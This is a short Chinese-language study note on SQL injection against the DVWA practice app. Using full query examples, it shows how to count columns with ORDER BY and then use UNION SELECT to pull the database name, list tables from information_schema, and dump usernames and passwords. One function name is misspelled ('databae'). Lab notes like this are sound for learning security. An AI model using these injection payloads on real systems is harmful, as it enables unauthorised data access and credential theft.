- order by 利用
判断某表有几列。order by 后面跟数字表示按第几列来排序,如果数字超出最大列数,则会报错。
# 利用order by 漏洞判断select后的列数
SELECT first_name, last_name FROM users WHERE user_id ='1' order by 3#
- union 利用
union的特点:
1. union两边的sql列数要一样;
2. 不管前面的sql语句是否成功执行,后面的sql都会执行。
# 利用union漏洞得到该表所在的数据库名
SELECT first_name, last_name FROM users WHERE user_id ='1' union select user(), databae() #
# 利用union漏洞得到指定数据库下的所有表名
SELECT first_name, last_name FROM users WHERE user_id ='1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa'#
# 利用union漏洞利用用户名+密码
SELECT first_name, last_name FROM users WHERE user_id ='1' union select user,password from users#